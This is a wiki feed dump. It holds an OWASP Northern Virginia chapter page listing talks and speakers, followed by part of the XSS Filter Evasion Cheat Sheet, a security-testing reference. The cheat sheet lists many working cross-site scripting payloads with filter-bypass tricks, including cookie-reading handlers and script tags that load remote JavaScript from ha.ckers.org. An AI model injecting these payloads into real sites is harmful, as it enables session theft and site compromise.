Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett ) &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]] &lt;br /&gt;
&lt;br /&gt;
''John Steven, Cigital'': '''Moving Beyond Top N Lists''' &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real. &lt;br /&gt;
&lt;br /&gt;
John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== January 2009  ===&lt;br /&gt;
&lt;br /&gt;
To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project. &lt;br /&gt;
&lt;br /&gt;
''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI''' &lt;br /&gt;
&lt;br /&gt;
Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices. &lt;br /&gt;
&lt;br /&gt;
Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes &amp;amp;amp; Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]] &lt;br /&gt;
&lt;br /&gt;
''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS''' &lt;br /&gt;
&lt;br /&gt;
The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies. &lt;br /&gt;
&lt;br /&gt;
Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our November 2008 meeting, we had two great presentations on software assurance and security testing. &lt;br /&gt;
&lt;br /&gt;
''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance''' &lt;br /&gt;
&lt;br /&gt;
Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]&lt;br /&gt;
&lt;br /&gt;
''Paco Hope, Cigital'': '''The Web Security Testing Cookbook''' &lt;br /&gt;
&lt;br /&gt;
The Web Security Testing Cookbook (O'Reilly &amp;amp;amp; Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort. &lt;br /&gt;
&lt;br /&gt;
Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]] &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our October 2008 meeting, we had two fascinating talks relating to forensics. &lt;br /&gt;
&lt;br /&gt;
''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats''' &lt;br /&gt;
&lt;br /&gt;
Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats] &lt;br /&gt;
&lt;br /&gt;
''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data''' &lt;br /&gt;
&lt;br /&gt;
Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data] &lt;br /&gt;
&lt;br /&gt;
=== History  ===&lt;br /&gt;
&lt;br /&gt;
The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship. &lt;br /&gt;
&lt;br /&gt;
==== Chapter Groups  ====&lt;br /&gt;
&lt;br /&gt;
Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in: &lt;br /&gt;
&lt;br /&gt;
*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling] &lt;br /&gt;
*[http://groups.google.com/group/novaowasp_mobile Mobile]&lt;br /&gt;
&lt;br /&gt;
=== OWASP NoVa Members On Twitter  ===&lt;br /&gt;
&lt;br /&gt;
Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615] &lt;br /&gt;
&lt;br /&gt;
John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul] &lt;br /&gt;
&lt;br /&gt;
Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino] &lt;br /&gt;
&lt;br /&gt;
Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview] &lt;br /&gt;
&lt;br /&gt;
Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky] &lt;br /&gt;
&lt;br /&gt;
Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov] &lt;br /&gt;
&lt;br /&gt;
Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks] &lt;br /&gt;
&lt;br /&gt;
Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt] &lt;br /&gt;
&lt;br /&gt;
Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity] &lt;br /&gt;
&lt;br /&gt;
Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889] &lt;br /&gt;
&lt;br /&gt;
==== Knowledge  ====&lt;br /&gt;
&lt;br /&gt;
The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as: &lt;br /&gt;
&lt;br /&gt;
*Threat Modeling &lt;br /&gt;
*[[Code Review and Static Analysis with tools]] &lt;br /&gt;
*Penetration Testing and Dynamic Analysis tools &lt;br /&gt;
*Monitoring/Dynamic patching (WAFs)&lt;br /&gt;
&lt;br /&gt;
Certain projects our members are involved in cross-cut these activities, providing value throughout. They include: &lt;br /&gt;
&lt;br /&gt;
*ASVS&lt;br /&gt;
&lt;br /&gt;
=== Static Analysis Curriculum  ===&lt;br /&gt;
&lt;br /&gt;
*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].&lt;br /&gt;
&lt;br /&gt;
The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter]. &lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]] &lt;br /&gt;
&lt;br /&gt;
'''Contacts'''&amp;lt;br&amp;gt; Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Flash Talk Resources  ===&lt;br /&gt;
&lt;br /&gt;
Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] &amp;lt;br&amp;gt; [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information &amp;lt;br&amp;gt; Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Northern Virginia&amp;lt;/paypal&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:United States]]&lt;br /&gt;
[[Category:Virginia]]&lt;br /&gt;
[[Category:Washington,_DC]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=182286</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=182286"/>
				<updated>2014-09-13T18:19:03Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: /* fromCharCode */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;alert(String.fromCharCode(88,83,83))//--&lt;br /&gt;
 &amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;amp;quot;&amp;amp;gt;'&amp;amp;gt;&amp;amp;lt;SCRIPT&amp;amp;gt;alert(String.fromCharCode(88,83,83))&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS locator 2 ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;#39;&amp;amp;#39;;!--&amp;quot;&amp;amp;lt;XSS&amp;amp;gt;=&amp;amp;amp;{()}&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross .&lt;br /&gt;
&lt;br /&gt;
Edited by Abdullah Hussam.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== On error alert ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=/ onerror=&amp;quot;alert(String.fromCharCode(88,83,83))&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS  [http://ha.ckers.org/xsscalc.html Calculator] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS [http://ha.ckers.org/xsscalc.html calculator] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
